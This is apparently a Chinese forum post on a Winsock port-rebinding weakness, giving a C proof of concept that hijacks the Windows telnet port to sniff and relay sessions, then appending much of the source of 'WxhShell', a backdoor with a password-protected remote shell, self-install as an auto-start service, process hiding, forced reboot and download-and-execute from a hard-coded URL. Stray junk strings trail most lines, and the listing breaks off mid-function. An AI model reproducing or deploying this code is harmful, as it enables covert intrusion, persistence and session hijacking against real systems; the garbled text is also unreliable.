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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: &"C1XM  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); P!YT{}  
dt3Vy*zL  
  saddr.sin_family = AF_INET; 9i|6  
.#WF'  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); '}4[m>/  
W {dx\+  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); NnHM$hEI"U  
7@tr^JykO  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^#^u90I  
~P6K)V|@<  
  这意味着什么?意味着可以进行如下的攻击: L1C' V/g  
[TO:- 8$.  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ocgbBE  
~T4 =Id  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Z/x<U.B  
/e{Oqhf[n  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ( v ~/glf  
#2HygS  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  aeBth{  
1NOz $fW  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 'OX6e Y5  
J?%D4AeS]v  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 2,QkktJLo  
qs-:JmA_w  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \HK#d1>ox  
(uV7N7 <1  
  #include U-n33ty`H  
  #include Fx3VQ'%J  
  #include s.GhquFCrU  
  #include    At bqj?  
  DWORD WINAPI ClientThread(LPVOID lpParam);   4qm5`o\hb  
  int main() eEc;w#  
  { p Y>yJ)  
  WORD wVersionRequested; Ca1)>1 Vz  
  DWORD ret; (J^ Tss  
  WSADATA wsaData; o!\O)  
  BOOL val; A<.Q&4jb  
  SOCKADDR_IN saddr; #sqDZ]\B  
  SOCKADDR_IN scaddr; *iC t4J  
  int err;  B-&J]H  
  SOCKET s; Cq(Xa-  
  SOCKET sc; Y6D =tb  
  int caddsize; nW drVT$  
  HANDLE mt; \GvVs  
  DWORD tid;   hCxL4LrF  
  wVersionRequested = MAKEWORD( 2, 2 ); g:o\r (  
  err = WSAStartup( wVersionRequested, &wsaData ); -O_UpjR;  
  if ( err != 0 ) { !w)Mm P Xb  
  printf("error!WSAStartup failed!\n"); @$nI\ n?*  
  return -1; Gg.w-&  
  } v"F0$c  
  saddr.sin_family = AF_INET; r 2   
   lP9I\Ge&  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 G0(c@FBK  
ka>RAr J  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); KT g$^"\  
  saddr.sin_port = htons(23); <hK$Cf_  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) PO%]Jme  
  { I8Zp#'|U  
  printf("error!socket failed!\n"); k=~?!+p7  
  return -1; \W( p)M  
  } pKH4?F  
  val = TRUE; \ qs6%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 W#lvH=y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) hr{%'DAS  
  { -91l"sI  
  printf("error!setsockopt failed!\n"); {X =\  
  return -1; l.34h  
  } .e"jnP~  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; U|Jo[4A  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 6/-!oo   
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 {!/y@/NK2  
V.-?aXQ*  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) <m6Xh^Ko;  
  { ~<Lf@yu-{  
  ret=GetLastError(); ?\O+#U%W  
  printf("error!bind failed!\n"); "FXS;Jf  
  return -1; Gqia@>T4*N  
  } W?l .QQk  
  listen(s,2); vfbe=)}[  
  while(1) K4F!?#  
  { ~lF lv+,%  
  caddsize = sizeof(scaddr); & 9]KkY=  
  //接受连接请求 t~a$|( 9  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); {tT`It  
  if(sc!=INVALID_SOCKET) 52["+1g\  
  { a[$.B2U  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); g~y9j88?  
  if(mt==NULL) apMYBbC  
  { c0qv11,:t  
  printf("Thread Creat Failed!\n"); kCwTv:)  
  break; EIYM0vls(  
  } U.)G #B  
  } 6m.Ku13;  
  CloseHandle(mt); Zn/9BO5  
  } t!T}Pg(Bo  
  closesocket(s); Qr<%rU^{.  
  WSACleanup(); I| j tpv}  
  return 0; R^2Uh$kk{A  
  }   (O-)uC  
  DWORD WINAPI ClientThread(LPVOID lpParam) ~c="<xBE  
  { 6_y|4!,:W  
  SOCKET ss = (SOCKET)lpParam; 3'"M31iA  
  SOCKET sc; op|mRJBq;  
  unsigned char buf[4096]; y[zA [H:  
  SOCKADDR_IN saddr; {4QOUqAu  
  long num; <{U{pCT%  
  DWORD val; 7>zKW?  
  DWORD ret; ?V{k\1A  
  //如果是隐藏端口应用的话,可以在此处加一些判断 kdUGmR0d  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   J@GfO\ o  
  saddr.sin_family = AF_INET; )]%9Tgn  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); YT5>pM-%  
  saddr.sin_port = htons(23); 4'd{H Rs  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #LN I&5  
  { 5i/E=D  
  printf("error!socket failed!\n"); -PnC^r0L$  
  return -1; NqZRS>60v  
  } $&C(oh$:  
  val = 100;  q%k+x)  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )a^Yor)o"  
  { uTU4Fn\$L  
  ret = GetLastError(); 6oP{P_Pxi  
  return -1; h3kHI?jMWG  
  } tRy D@}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) fMQ*2zGu95  
  { UC1!J =f  
  ret = GetLastError(); 0v@/I<  
  return -1; K7hf m%`N  
  } nFfCw%T?  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~t:b<'/  
  { Qsntf.fT  
  printf("error!socket connect failed!\n"); P*PL6UQ  
  closesocket(sc); f^)uK+:.  
  closesocket(ss); N4To#Q1w  
  return -1; nF'xV44"  
  } >-w=7,?'?z  
  while(1) BJ9sR.yX62  
  { h6h1.lZ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 u3wC}Zo  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ;-?ZI$  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 {}pqxouE  
  num = recv(ss,buf,4096,0); kppRQ Q*[  
  if(num>0) +?iM$}8!U  
  send(sc,buf,num,0); <s-@!8*(  
  else if(num==0) Uxemlp%%*  
  break; 5b#6 Y  
  num = recv(sc,buf,4096,0); qP"JNswI_  
  if(num>0) X[Ek'=}  
  send(ss,buf,num,0); =4e=wAO(i  
  else if(num==0) p{a]pG+3  
  break; Ys$YI{  
  } v1C.\fL  
  closesocket(ss); Tq84Fn!HJ>  
  closesocket(sc); T'M66kg  
  return 0 ; _g 4 /%  
  } (L5'rNk  
eFSC^  
AD@PNM  
========================================================== u 7"VeTz  
_GO+fB/Q1  
下边附上一个代码,,WXhSHELL (b%y$D  
S7kT3zB  
========================================================== 9"aFS=><  
b#g {`E  
#include "stdafx.h" P!y`$Ky&  
yK077zH_  
#include <stdio.h> atf%7}2  
#include <string.h> kz0=GKic  
#include <windows.h> 2Nn1-wdhb  
#include <winsock2.h> D4q >R;  
#include <winsvc.h> YvruK: I  
#include <urlmon.h> `OP>(bU0  
d>, V  
#pragma comment (lib, "Ws2_32.lib") 6B''9V:s  
#pragma comment (lib, "urlmon.lib") PDIclIMS'F  
m*!f%}T  
#define MAX_USER   100 // 最大客户端连接数 4C1FPrh  
#define BUF_SOCK   200 // sock buffer k=7Gr;;l=p  
#define KEY_BUFF   255 // 输入 buffer *w/WHQ`xI  
/u)Rppu  
#define REBOOT     0   // 重启 8rwYNb.P  
#define SHUTDOWN   1   // 关机 R|1xXDLm*E  
~pevU`}Uqc  
#define DEF_PORT   5000 // 监听端口 ^5]u BOv  
N\q)LM !M  
#define REG_LEN     16   // 注册表键长度 iS"8X#[]N  
#define SVC_LEN     80   // NT服务名长度 uyNJN  
Vd +Q:L  
// 从dll定义API 5!AV!A_Jp  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); d;~ 3P  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); rer|k<k;]G  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); voV:H[RD9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -+}5ma  
jJVT_8J  
// wxhshell配置信息 &$c5~9p\B  
struct WSCFG { i<m$#6 <Z  
  int ws_port;         // 监听端口 +~d1 ;0l|  
  char ws_passstr[REG_LEN]; // 口令 |qlS6Aln  
  int ws_autoins;       // 安装标记, 1=yes 0=no x=5P+_  
  char ws_regname[REG_LEN]; // 注册表键名 e8WEz 4r_  
  char ws_svcname[REG_LEN]; // 服务名 kT^*>=1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 wn+j39y?ZY  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 j/9WOIfa  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \2Og>{"U  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3@)obb  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !7*(!as  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 O4EIE)c  
a*Ss -y  
}; 8geek$FY x  
YOV :  
// default Wxhshell configuration st?gA"5w  
struct WSCFG wscfg={DEF_PORT, dk_,YU'z  
    "xuhuanlingzhe", $;Vc@mYGW;  
    1, kG1;]1tT#  
    "Wxhshell", [q-;/ed  
    "Wxhshell", M!gBmQZ1  
            "WxhShell Service", lwOf)jK:J  
    "Wrsky Windows CmdShell Service", s>|Z7[*  
    "Please Input Your Password: ", 0e+W/Tq  
  1, 3;a R\:p@w  
  "http://www.wrsky.com/wxhshell.exe", ,?g=U8y|  
  "Wxhshell.exe" sEce{"VC  
    }; ^/>Wr'w   
4\N_ G @  
// 消息定义模块 6F`qi:a+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #JA}LA"l  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5"JU?e59M  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; F7{R~mS;  
char *msg_ws_ext="\n\rExit."; [ -ISR7D  
char *msg_ws_end="\n\rQuit."; |2)Sd[ q  
char *msg_ws_boot="\n\rReboot..."; r C_d$Jv  
char *msg_ws_poff="\n\rShutdown..."; 1E8H%2$ V  
char *msg_ws_down="\n\rSave to "; S _!hsY  
}:`5,b%Y_  
char *msg_ws_err="\n\rErr!"; XFW5AP  
char *msg_ws_ok="\n\rOK!"; 4'SaEsA~  
HG2GZ}~^1  
char ExeFile[MAX_PATH]; [yw%ih)  
int nUser = 0; _Vjpw,  
HANDLE handles[MAX_USER]; fVe@YqNa  
int OsIsNt; I%@e@Dm,h  
Y4#y34 We  
SERVICE_STATUS       serviceStatus; &<au/^F  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9ilM@SR  
)Zas x6`  
// 函数声明 vsKl#R B  
int Install(void); g96T*T  
int Uninstall(void); :peqr!I+K  
int DownloadFile(char *sURL, SOCKET wsh); &1wpGJqm  
int Boot(int flag); qZaO&"q  
void HideProc(void); Xv0F:1  
int GetOsVer(void); D?e"U_  
int Wxhshell(SOCKET wsl); \a\= gn   
void TalkWithClient(void *cs); JO2xT#V  
int CmdShell(SOCKET sock); `=79i$,,t  
int StartFromService(void); Ap%O~wA'  
int StartWxhshell(LPSTR lpCmdLine); {Eu'v$c!  
T2wv0sHlt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {XtoiI  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0[/vQ+O]2  
-kl;!:'.3  
// 数据结构和表定义 A 4j<\xL  
SERVICE_TABLE_ENTRY DispatchTable[] = 3gpo %  
{ XaW4C-D&  
{wscfg.ws_svcname, NTServiceMain}, bGN 54{f  
{NULL, NULL} OX+hZ<y  
};  ="\*h(  
W;q+,Io  
// 自我安装 CtM'L   
int Install(void) w NH9WG  
{ ^'vIOq-1v  
  char svExeFile[MAX_PATH]; B7 HQR{t  
  HKEY key; '[nmFCG%m*  
  strcpy(svExeFile,ExeFile); wcZbmJ:  
"tL2F*F"6X  
// 如果是win9x系统,修改注册表设为自启动 7 _g+^e-"  
if(!OsIsNt) { x;j{} %  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { " 9@,l!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cZ|lCy^  
  RegCloseKey(key); y"vX~LR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z:@6Lv?CN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _gW{gLYyJ  
  RegCloseKey(key); )lh8 k {  
  return 0; tMFsA`ng  
    } h4(JUio  
  } DLi?'K3t  
} XJSa]P^B1  
else { R& #tSL  
7^MX l  
// 如果是NT以上系统,安装为系统服务 d+6]u_J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); P16YS8$  
if (schSCManager!=0) )~V }oKk0t  
{ _A 2Lv]vfV  
  SC_HANDLE schService = CreateService jWvtv ng  
  ( JrDHRIkgm  
  schSCManager, B3mS]  
  wscfg.ws_svcname, Uk,g> LG  
  wscfg.ws_svcdisp, LkBZlh_  
  SERVICE_ALL_ACCESS, z(me@P!D~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >)Gd:636+  
  SERVICE_AUTO_START, +`.,| |Mq  
  SERVICE_ERROR_NORMAL, F;u_7OM  
  svExeFile, x=]S.XI  
  NULL, l~J*' m2  
  NULL, IU#x[P!  
  NULL, ?TpUf  
  NULL, /p)F>WR  
  NULL /r^[a,Q#x  
  ); b9Y_!Qe  
  if (schService!=0) -$JO8'TP  
  { b,@aqu  
  CloseServiceHandle(schService); C>X|VP |C  
  CloseServiceHandle(schSCManager); tnb$sulc+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); VFj(M j`}G  
  strcat(svExeFile,wscfg.ws_svcname); /0lC KU!=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =e BmBn  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); z/7$NxJH  
  RegCloseKey(key); {%b }Z2  
  return 0; Jdj?I'XtY  
    } |~K(F <;j  
  } oM,- VUr  
  CloseServiceHandle(schSCManager); 2z_2.0/3  
} 5~+XZA#2  
} cin2>3Z$  
WUEHB  
return 1; \Q&,ISO\  
} %8mm Hh  
VWi2(@R^  
// 自我卸载 !tNd\ }@  
int Uninstall(void) !aNh!  
{ ONX8}Ob~  
  HKEY key; i ]o"_=C  
W7=V{}b+  
if(!OsIsNt) { 2Y OKM #N]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T_;]fPajjD  
  RegDeleteValue(key,wscfg.ws_regname); DlTR|(AL  
  RegCloseKey(key); R7?29?$7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |`O7nOM  
  RegDeleteValue(key,wscfg.ws_regname); DBsDk kB{  
  RegCloseKey(key); )TJS4?  
  return 0; 2e1]}wlK  
  } x83a!9  
} )oU)}asY  
} TDNf)Mm  
else { '6-$Xq0^E  
L{8;Ud_2r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $_D6_|HK  
if (schSCManager!=0) 6f)2F< 7  
{ v]"L]/"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); KE}H&1PjU  
  if (schService!=0) s B 20/F  
  { edvFQ#,d  
  if(DeleteService(schService)!=0) { 7J*N_8?2  
  CloseServiceHandle(schService); ]lBGyUJn  
  CloseServiceHandle(schSCManager); g(hOg~S\E  
  return 0; '#\1uXM1U?  
  } h<6UC%'ac  
  CloseServiceHandle(schService); 2/7_;_#vJ%  
  } h7yqk4'Lq  
  CloseServiceHandle(schSCManager); Ev9 >@~^  
} $ uh z  
} izZ=d5+K  
06 mlj6hV  
return 1; h|;qG)f^  
} {i [y9  
OB-Q /?0  
// 从指定url下载文件 D g>^ A  
int DownloadFile(char *sURL, SOCKET wsh) ..W-76{  
{ s9)8b$t]  
  HRESULT hr; v?:: |{  
char seps[]= "/"; kH948<fk3  
char *token; 9X}I>  
char *file; G"dS+,Q  
char myURL[MAX_PATH]; OJO!FH)  
char myFILE[MAX_PATH]; SO f{Hx0C6  
GK*v{`  
strcpy(myURL,sURL); ZcE_f>KV  
  token=strtok(myURL,seps); O4iC]5@  
  while(token!=NULL) rN/| (@  
  { :aAEJ  
    file=token; `#mK*Buem}  
  token=strtok(NULL,seps); h9s >LY  
  } FMw&(  
'0RwO[A#1  
GetCurrentDirectory(MAX_PATH,myFILE); \2C`<h$fN  
strcat(myFILE, "\\"); _D, ;MB&7  
strcat(myFILE, file); NjuiD].  
  send(wsh,myFILE,strlen(myFILE),0); R^#@lI~  
send(wsh,"...",3,0); OE`X<h4r  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); SA"p\}"  
  if(hr==S_OK) <|B1wa:|  
return 0; Q \hY7Xq'  
else s)J(/  
return 1; #qBr/+b  
OO) ~HV4\  
} +IFw_3$  
/=?x{(B>  
// 系统电源模块 q2aYEuu,  
int Boot(int flag) YDJ4c;37  
{ nIk$7rGLB  
  HANDLE hToken; V$`Gwr]|n  
  TOKEN_PRIVILEGES tkp; IM@tN L  
u.XQ&  
  if(OsIsNt) { `:NaEF?Sj  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); d3Mva,bw<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); G3i !PwW  
    tkp.PrivilegeCount = 1; =+:{P?*}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =='Td[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); J:*-gwv9*m  
if(flag==REBOOT) { y046:@v(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "SxLN 8.:  
  return 0; K>Fqf +_  
} K5>p89mZ  
else { 2}6%qgnT-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) l|2D/K5  
  return 0; V9yl4q-bL  
} /1UOT\8U  
  } \Q?ip&R  
  else { rqPo)AL  
if(flag==REBOOT) { ]}="m2S3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `r"+644  
  return 0; JuR"J1MY  
} o G*5f  
else { G3P &{.v  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /6uT6G+(z}  
  return 0; "I6P=]|b  
} /*FH:T<V  
} uA t V".  
d[^KL;b?6  
return 1; z4%uN |V  
} C$h<Wt=<  
f5*k7fg  
// win9x进程隐藏模块 4S"\~><  
void HideProc(void) \W5O&G-C  
{ JCx WWre  
+j_ ;(Gw7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 96cJ8I8  
  if ( hKernel != NULL ) {6;9b-a]  
  { `_I@i]i^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Qf M zF  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); OVzt\V*+%W  
    FreeLibrary(hKernel); e~%  ;K4  
  } !)"%),>}o  
RcG0 8p.)  
return; -H^oXeN  
} E907fX[R~  
Ix@&$!'k  
// 获取操作系统版本 e1(Q(3  
int GetOsVer(void) /-_=nf}w  
{ x5`br.b  
  OSVERSIONINFO winfo; {N2g8W:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); EC2+`HJ"  
  GetVersionEx(&winfo); GcIDG`RX  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \6n!3FLl  
  return 1; ZX!r1*c 6  
  else $n^ MD_1!  
  return 0; h!~3Dw>,N  
} o+`6LKg;  
l& 4,v  
// 客户端句柄模块 ?_x q-  
int Wxhshell(SOCKET wsl) s^0/"j|7  
{ 4'j sDcs  
  SOCKET wsh; 8KB>6[H!wE  
  struct sockaddr_in client; sQ6 }\  
  DWORD myID; <~}7Mxn%x@  
M#"524Nz  
  while(nUser<MAX_USER) ~vmd XR`'T  
{ 7Dzuii?1  
  int nSize=sizeof(client); !-2R;yo12  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'j^xbikr  
  if(wsh==INVALID_SOCKET) return 1; ]V %.I_  
WARb"8Kg  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \P} p5k[  
if(handles[nUser]==0) H1<>NWm!v7  
  closesocket(wsh); M` q?Fk  
else E J$36  
  nUser++; {,*"3O:\:  
  } 9I1tN  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8h3=b[  
P 71(  
  return 0; IdYzgDH  
} ] h-,o R?e  
ur :i)~wXn  
// 关闭 socket ?88[|;b3  
void CloseIt(SOCKET wsh) .)}@J5 P)  
{  Q~R ~xz  
closesocket(wsh); Q9I j\HbA"  
nUser--; WLF0US'  
ExitThread(0); p raaY}}  
} }I 3gU  
Um1[sMc{au  
// 客户端请求句柄 Z3>N<u8)  
void TalkWithClient(void *cs) CTWn2tpW  
{ t+5E#!y  
mj|)nOd  
  SOCKET wsh=(SOCKET)cs; j4?@(u9;j  
  char pwd[SVC_LEN]; q@b|F-  
  char cmd[KEY_BUFF]; 7.DtdyM  
char chr[1]; VrZ>bma;  
int i,j; "UEv&mQ  
lb'GXd %  
  while (nUser < MAX_USER) { vN 2u34  
fLV"T_rk  
if(wscfg.ws_passstr) { %6AW7q t  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pF ^#}L  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k >t )g-,2  
  //ZeroMemory(pwd,KEY_BUFF); MCU_Z[N#10  
      i=0; *~m+Nc`D,N  
  while(i<SVC_LEN) { 8ElKD{.BU8  
 Z%I  
  // 设置超时 ;'81jbh  
  fd_set FdRead; f|y:vpd%  
  struct timeval TimeOut; J=pztASt  
  FD_ZERO(&FdRead); i)#s.6.D>  
  FD_SET(wsh,&FdRead); )tCX y4  
  TimeOut.tv_sec=8; -n'F v@U  
  TimeOut.tv_usec=0; !"e5~7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Vy_2.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); gM [w1^lj  
VmzbZTup  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5{n*"88  
  pwd=chr[0]; 5K|"\  
  if(chr[0]==0xd || chr[0]==0xa) { Ed9Z9  
  pwd=0; }I@L}f5N  
  break; )DYI .  
  } "t^URp3  
  i++; hJzxbr <  
    } LH:i| I  
(`? y2n)~W  
  // 如果是非法用户,关闭 socket AfG/JWSo}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); qc#)!   
} 1sP dz L  
b T 2a40ul  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); FQ>`{%>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N}\[Gr  
q>w)"Dd  
while(1) { ^ wY[3"{  
<>m }}^  
  ZeroMemory(cmd,KEY_BUFF); !QDQ_  
# O4gg  
      // 自动支持客户端 telnet标准    JHf  
  j=0; *D'$"@w3  
  while(j<KEY_BUFF) { q~o,WZG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +za8=`2o  
  cmd[j]=chr[0]; U^qt6$bK  
  if(chr[0]==0xa || chr[0]==0xd) { S1/`th  
  cmd[j]=0; w[6J `   
  break; : Sq?a0!S  
  } 0%) i<a!_Z  
  j++; ~4?9a(>3  
    } 4A9{=~nwT  
?|:BuHkT  
  // 下载文件 O@?k T;B  
  if(strstr(cmd,"http://")) { e@{i  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Isx#9C  
  if(DownloadFile(cmd,wsh)) 191&_*Xb  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); PQ@L+],C  
  else kNqH zo  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [o*7FEM|<  
  } 4mn&4e  
  else { ;Jd3u -  
6\61~u~  
    switch(cmd[0]) { I |# 5NE6  
  W+*5"h  
  // 帮助 *m2=/Sh  
  case '?': { *Z_C4Tj  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); iMfngIs |  
    break; XJ2^MF2BU  
  } kh%{C] ".1  
  // 安装 jYiv'6z  
  case 'i': { >J u]2++lx  
    if(Install()) Z'H5,)j0R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &i!vd/*WlD  
    else .rPn5D Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %r4 q8-  
    break; 6i0A9SN  
    } ZylJp8U  
  // 卸载 "TH6o: x  
  case 'r': { Bo5ZZY  
    if(Uninstall()) 8( b tZt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z"*/mP2  
    else 7z~_/mAI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -R{V-   
    break; y1=N F  
    } b,KcBQ.  
  // 显示 wxhshell 所在路径 Ew3ibXD  
  case 'p': { 8BvonY t=8  
    char svExeFile[MAX_PATH]; jNeI2-9c}  
    strcpy(svExeFile,"\n\r"); u !!X6<  
      strcat(svExeFile,ExeFile); :UJa&$)  
        send(wsh,svExeFile,strlen(svExeFile),0); wCk~CkC?  
    break; P]z[v)}  
    } ]jpu,jz:  
  // 重启 %p X6QRt?  
  case 'b': { gNGr!3*)w  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); g R nOd  
    if(Boot(REBOOT)) t#!yrQ..'G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  ["}rk  
    else { T)\"Xj  
    closesocket(wsh); 2 1PFR:lP7  
    ExitThread(0); ![f ![l  
    } /t-fjB{=G  
    break; vd6l7"0/  
    } H~ u[3LQz  
  // 关机 6=N`wi  
  case 'd': { Zf5`XslA.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); d,$d~alY  
